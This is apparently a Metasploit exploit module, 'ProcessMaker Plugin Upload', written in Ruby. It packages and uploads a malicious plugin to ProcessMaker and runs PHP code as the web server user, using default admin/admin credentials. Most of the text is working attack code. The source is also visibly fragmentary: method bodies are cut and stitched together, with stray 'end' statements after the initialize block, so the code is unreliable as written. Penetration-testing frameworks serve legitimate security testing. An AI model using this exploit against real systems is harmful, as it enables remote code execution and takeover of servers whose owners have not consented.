##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'ProcessMaker Plugin Upload',
'Description' => %q{
This module will generate and upload a plugin to ProcessMaker
resulting in execution of PHP code as the web server user.
Credentials for a valid user account with Administrator roles
is required to run this module.
This module has been tested successfully on ProcessMaker versions
1.6-4276, 2.0.23, 3.0 RC 1, 3.2.0, 3.2.1 on Windows 7 SP 1;
and version 3.2.0 on Debian Linux 8.
},
'License' => MSF_LICENSE,
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
'References' =>
[
['URL', 'http://wiki.processmaker.com/3.0/Plugin_Development']
],
'Payload' => { 'Space' => 20000 },
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic Targeting', {} ]],
'Privileged' => false,
'DisclosureDate' => 'Aug 25 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, 'The username for ProcessMaker', 'admin']),
OptString.new('PASSWORD', [true, 'The password for ProcessMaker', 'admin']),
OptString.new('WORKSPACE', [true, 'The ProcessMaker workspace', 'workflow'])
])
end
# Installation spawns a shell, preventing a HTTP response.
# If a response is received, something probably went wrong.
if res
if res.headers['location'] =~ /login/
fail_with Failure::NoAccess, 'Administrator privileges are required'
else
print_warning "#{peer} Unexpected reply"
end
end
end
tarfile = StringIO.new
Rex::Tar::Writer.new tarfile do |tar|
tar.add_file "#{plugin_name}.php", 0777 do |io|
io.write plugin_php
end
tar.add_file "#{plugin_name}/class.#{plugin_name}.php", 0777 do |io|
io.write plugin_class
end
end
tarfile.rewind
tarfile.read
end